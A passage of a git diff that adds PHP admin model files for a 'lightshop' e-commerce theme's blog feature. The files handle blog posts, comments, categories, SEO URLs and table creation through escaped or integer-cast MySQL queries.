+ foreach ($data['blog_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_description SET blog_id = '" . (int)$blog_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ if($value['tag']){
+ foreach (explode(',',$value['tag']) as $tag) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_tag SET blog_id = '" . (int)$blog_id . "', language_id = '" . (int)$language_id . "', tag = '" . $this->db->escape(trim($tag)) . "'");
+ }
+ }
+ }
+
+ if (isset($data['blog_store'])) {
+ foreach ($data['blog_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_store SET blog_id = '" . (int)$blog_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['blog_related'])) {
+ foreach ($data['blog_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related WHERE blog_id = '" . (int)$blog_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_related SET blog_id = '" . (int)$blog_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related_prod WHERE blog_id = '" . (int)$blog_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_related_prod SET blog_id = '" . (int)$blog_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['blog_layout'])) {
+ foreach ($data['blog_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_layout SET blog_id = '" . (int)$blog_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ // SEO URL
+ if (isset($data['blog_seo_url'])) {
+ foreach ($data['blog_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'blog_id=" . (int)$blog_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ if(isset($data['main_category_id']) && $data['main_category_id'] > 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_category WHERE blog_id = '" . (int)$blog_id . "' AND category_id = '" . (int)$data['main_category_id'] . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_category SET blog_id = '" . (int)$blog_id . "', category_id = '" . (int)$data['main_category_id'] . "', main_category = 1");
+ }
+
+ $this->cache->delete('blog');
+
+ return $blog_id;
+ }
+
+ public function editBlog($blog_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_blog SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "' WHERE blog_id = '" . (int)$blog_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_blog SET image = '" . $this->db->escape($data['image']) . "' WHERE blog_id = '" . (int)$blog_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_description WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_tag WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($data['blog_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_description SET blog_id = '" . (int)$blog_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ if($value['tag']){
+ foreach (explode(',',$value['tag']) as $tag) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_tag SET blog_id = '" . (int)$blog_id . "', language_id = '" . (int)$language_id . "', tag = '" . $this->db->escape(trim($tag)) . "'");
+ }
+ }
+ }
+
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_store WHERE blog_id = '" . (int)$blog_id . "'");
+
+ if (isset($data['blog_store'])) {
+ foreach ($data['blog_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_store SET blog_id = '" . (int)$blog_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_layout WHERE blog_id = '" . (int)$blog_id . "'");
+
+ if (isset($data['blog_layout'])) {
+ foreach ($data['blog_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_layout SET blog_id = '" . (int)$blog_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related WHERE blog_id = '" . (int)$blog_id . "'");
+
+
+ if (isset($data['blog_related'])) {
+ foreach ($data['blog_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related WHERE blog_id = '" . (int)$blog_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_related SET blog_id = '" . (int)$blog_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related_prod WHERE blog_id = '" . (int)$blog_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related_prod WHERE blog_id = '" . (int)$blog_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_related_prod SET blog_id = '" . (int)$blog_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_id=" . (int)$blog_id . "'");
+
+ // SEO URL
+ if (isset($data['blog_seo_url'])) {
+ foreach ($data['blog_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'blog_id=" . (int)$blog_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_category WHERE blog_id = '" . (int)$blog_id . "'");
+
+ if(isset($data['main_category_id']) && $data['main_category_id'] > 0) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_category SET blog_id = '" . (int)$blog_id . "', category_id = '" . (int)$data['main_category_id'] . "', main_category = 1");
+ }
+
+ $this->cache->delete('blog');
+ }
+
+ public function deleteBlog($blog_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_description WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_store WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_category WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_layout WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_id=" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_tag WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related WHERE related_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related_prod WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_comment WHERE blog_id = '" . (int)$blog_id . "'");
+
+ $this->cache->delete('blog');
+ }
+
+ public function getBlog($blog_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT keyword FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_id=" . (int)$blog_id . "' LIMIT 1) AS keyword FROM " . DB_PREFIX . "lightshop_blog i LEFT JOIN " . DB_PREFIX . "lightshop_blog_description id ON (i.blog_id = id.blog_id) WHERE i.blog_id = '" . (int)$blog_id . "'");
+
+ return $query->row;
+ }
+
+ public function getBlogTag($blog_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_tag WHERE blog_id = '" . (int)$blog_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getBlogSeoUrls($blog_id) {
+ $blog_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_id=" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+ $blog_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $blog_seo_url_data;
+ }
+
+ public function getBlogs($data = array()) {
+
+ $this->createTable();
+
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "lightshop_blog i LEFT JOIN " . DB_PREFIX . "lightshop_blog_description id ON (i.blog_id = id.blog_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND id.title LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sort_data = array(
+ 'id.title',
+ 'i.sort_order',
+ 'i.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY i.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $blog_data = $this->cache->get('blog.' . (int)$this->config->get('config_language_id'));
+
+ if (!$blog_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog i LEFT JOIN " . DB_PREFIX . "lightshop_blog_description id ON (i.blog_id = id.blog_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY id.title");
+
+ $blog_data = $query->rows;
+
+ $this->cache->set('blog.' . (int)$this->config->get('config_language_id'), $blog_data);
+ }
+
+ return $blog_data;
+ }
+ }
+
+ public function getBlogDescriptions($blog_id) {
+ $blog_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_description WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+
+ $tag = '';
+ $temp = array();
+ $query1 = $this->db->query("SELECT tag FROM " . DB_PREFIX . "lightshop_blog_tag WHERE blog_id = '" . (int)$blog_id . "' AND language_id = '" . (int)$result['language_id'] . "'");
+
+ if($query1->num_rows){
+ foreach ($query1->rows as $value) {
+ $temp[] = $value['tag'];
+ }
+ $tag = implode(',', $temp);
+ }
+
+ $blog_description_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'tag' => $tag
+ );
+ }
+
+ return $blog_description_data;
+ }
+
+ public function getBlogStores($blog_id) {
+ $blog_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_to_store WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+ $blog_store_data[] = $result['store_id'];
+ }
+
+ return $blog_store_data;
+ }
+
+ public function getBlogLayouts($blog_id) {
+ $blog_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_to_layout WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+ $blog_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $blog_layout_data;
+ }
+
+ public function getTotalBlogs() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_blog");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalBlogsByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_blog_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getBlogRelated($blog_id) {
+ $blog_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_related WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+ $blog_related_data[] = $result['related_id'];
+ }
+
+ return $blog_related_data;
+ }
+
+ public function getBlogRelatedProds($blog_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_related_prod WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['related_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function getBlogMainCategoryId($blog_id) {
+ $query = $this->db->query("SELECT category_id FROM " . DB_PREFIX . "lightshop_blog_to_category WHERE blog_id = '" . (int)$blog_id . "' AND main_category = '1' LIMIT 1");
+
+ return ($query->num_rows ? (int)$query->row['category_id'] : 0);
+ }
+
+ public function getCommentNewCount() {
+
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_comment (
+ `comment_id` int(11) NOT NULL AUTO_INCREMENT,
+ `blog_id` int(11) NOT NULL,
+ `customer_id` int(11) NOT NULL,
+ `author` varchar(64) NOT NULL,
+ `text` text NOT NULL,
+ `rating` int(1) NOT NULL,
+ `status` tinyint(1) NOT NULL DEFAULT '0',
+ `date_added` datetime NOT NULL,
+ `date_modified` datetime NOT NULL,
+ PRIMARY KEY (`comment_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+
+ $query = $this->db->query("SELECT COUNT(status) as total FROM " . DB_PREFIX . "lightshop_blog_comment WHERE status = '0'");
+
+ return $query->row;
+ }
+
+ public function createTable() {
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog (
+ `blog_id` int(11) NOT NULL AUTO_INCREMENT,
+ `bottom` int(1) NOT NULL DEFAULT '0',
+ `sort_order` int(3) NOT NULL DEFAULT '0',
+ `status` tinyint(1) NOT NULL DEFAULT '1',
+ `date_added` date NOT NULL,
+ PRIMARY KEY (`blog_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_description (
+ `blog_id` int(11) NOT NULL,
+ `language_id` int(11) NOT NULL,
+ `title` varchar(200) NOT NULL,
+ `description` text NOT NULL,
+ `meta_title` varchar(255) NOT NULL,
+ `meta_h1` varchar(255) NOT NULL,
+ `meta_description` varchar(255) NOT NULL,
+ `meta_keyword` varchar(255) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_to_layout (
+ `blog_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ `layout_id` int(11) NOT NULL,
+ PRIMARY KEY (`blog_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_to_store (
+ `blog_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ PRIMARY KEY (`blog_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_related (
+ `news_id` int(11) NOT NULL,
+ `related_id` int(11) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ }
+
+}
diff --git a/public/admin/model/extension/theme/lightshopblogreview.php b/public/admin/model/extension/theme/lightshopblogreview.php
new file mode 100644
index 0000000..803f65c
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshopblogreview.php
@@ -0,0 +1,131 @@
+db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_comment SET author = '" . $this->db->escape($data['author']) . "', blog_id = '" . (int)$data['blog_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "'");
+
+ $comment_id = $this->db->getLastId();
+
+ $this->cache->delete('blog');
+
+ return $comment_id;
+ }
+
+ public function editReview($comment_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_blog_comment SET author = '" . $this->db->escape($data['author']) . "', blog_id = '" . (int)$data['blog_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "', date_modified = NOW() WHERE comment_id = '" . (int)$comment_id . "'");
+
+ $this->cache->delete('blog');
+ }
+
+ public function deleteReview($comment_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_comment WHERE comment_id = '" . (int)$comment_id . "'");
+
+ $this->cache->delete('blog');
+ }
+
+ public function getReview($comment_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT pd.title FROM " . DB_PREFIX . "lightshop_blog_description pd WHERE pd.blog_id = r.blog_id AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS blog FROM " . DB_PREFIX . "lightshop_blog_comment r WHERE r.comment_id = '" . (int)$comment_id . "'");
+
+ return $query->row;
+ }
+
+ public function getReviews($data = array()) {
+ $sql = "SELECT r.comment_id, pd.title, r.author, r.status, r.date_added FROM " . DB_PREFIX . "lightshop_blog_comment r LEFT JOIN " . DB_PREFIX . "lightshop_blog_description pd ON (r.blog_id = pd.blog_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_blog'])) {
+ $sql .= " AND pd.title LIKE '" . $this->db->escape($data['filter_blog']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $sort_data = array(
+ 'pd.title',
+ 'r.author',
+ 'r.status',
+ 'r.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY r.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalReviews($data = array()) {
+
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_comment (
+ `comment_id` int(11) NOT NULL AUTO_INCREMENT,
+ `blog_id` int(11) NOT NULL,
+ `customer_id` int(11) NOT NULL,
+ `author` varchar(64) NOT NULL,
+ `text` text NOT NULL,
+ `rating` int(1) NOT NULL,
+ `status` tinyint(1) NOT NULL DEFAULT '0',
+ `date_added` datetime NOT NULL,
+ `date_modified` datetime NOT NULL,
+ PRIMARY KEY (`comment_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_blog_comment r LEFT JOIN " . DB_PREFIX . "lightshop_blog_description pd ON (r.blog_id = pd.blog_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_blog'])) {
+ $sql .= " AND pd.title LIKE '" . $this->db->escape($data['filter_blog']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReviewsAwaitingApproval() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_blog_commentWHERE status = '0'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/theme/lightshopcatblog.php b/public/admin/model/extension/theme/lightshopcatblog.php
new file mode 100644
index 0000000..46e6195
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshopcatblog.php
@@ -0,0 +1,365 @@
+db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', `column` = '" . (int)$data['column'] . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', date_modified = NOW(), date_added = NOW()");
+
+ $category_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshopcat_blog SET image = '" . $this->db->escape($data['image']) . "' WHERE category_id = '" . (int)$category_id . "'");
+ }
+
+ foreach ($data['lightshopcatblog_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_description SET category_id = '" . (int)$category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ // MySQL Hierarchical Data Closure Table Pattern
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY `level` ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET `category_id` = '" . (int)$category_id . "', `path_id` = '" . (int)$result['path_id'] . "', `level` = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET `category_id` = '" . (int)$category_id . "', `path_id` = '" . (int)$category_id . "', `level` = '" . (int)$level . "'");
+
+ if (isset($data['category_filter'])) {
+ foreach ($data['category_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_filter SET category_id = '" . (int)$category_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ if (isset($data['lightshopcatblog_store'])) {
+ foreach ($data['lightshopcatblog_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_to_store SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ // Set which layout to use with this category
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_to_layout SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'lightshopcatblog_id=" . (int)$category_id . "'");
+
+ // SEO URL
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'lightshopcatblog_id=" . (int)$category_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('category');
+
+ return $category_id;
+ }
+
+ public function editCategoryBlog($category_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshopcat_blog SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', `column` = '" . (int)$data['column'] . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', date_modified = NOW() WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshopcat_blog SET image = '" . $this->db->escape($data['image']) . "' WHERE category_id = '" . (int)$category_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_description WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($data['lightshopcatblog_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_description SET category_id = '" . (int)$category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ // MySQL Hierarchical Data Closure Table Pattern
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE path_id = '" . (int)$category_id . "' ORDER BY level ASC");
+
+ if ($query->rows) {
+ foreach ($query->rows as $category_path) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$category_path['category_id'] . "' AND level < '" . (int)$category_path['level'] . "'");
+
+ $path = array();
+
+ // Get the nodes new parents
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+
+ // Get whats left of the nodes current path
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$category_path['category_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+
+ // Combine the paths with a new level
+ $level = 0;
+
+ foreach ($path as $path_id) {
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET category_id = '" . (int)$category_path['category_id'] . "', `path_id` = '" . (int)$path_id . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+ }
+ } else {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$category_id . "'");
+
+ // Fix for records with no paths
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET category_id = '" . (int)$category_id . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+
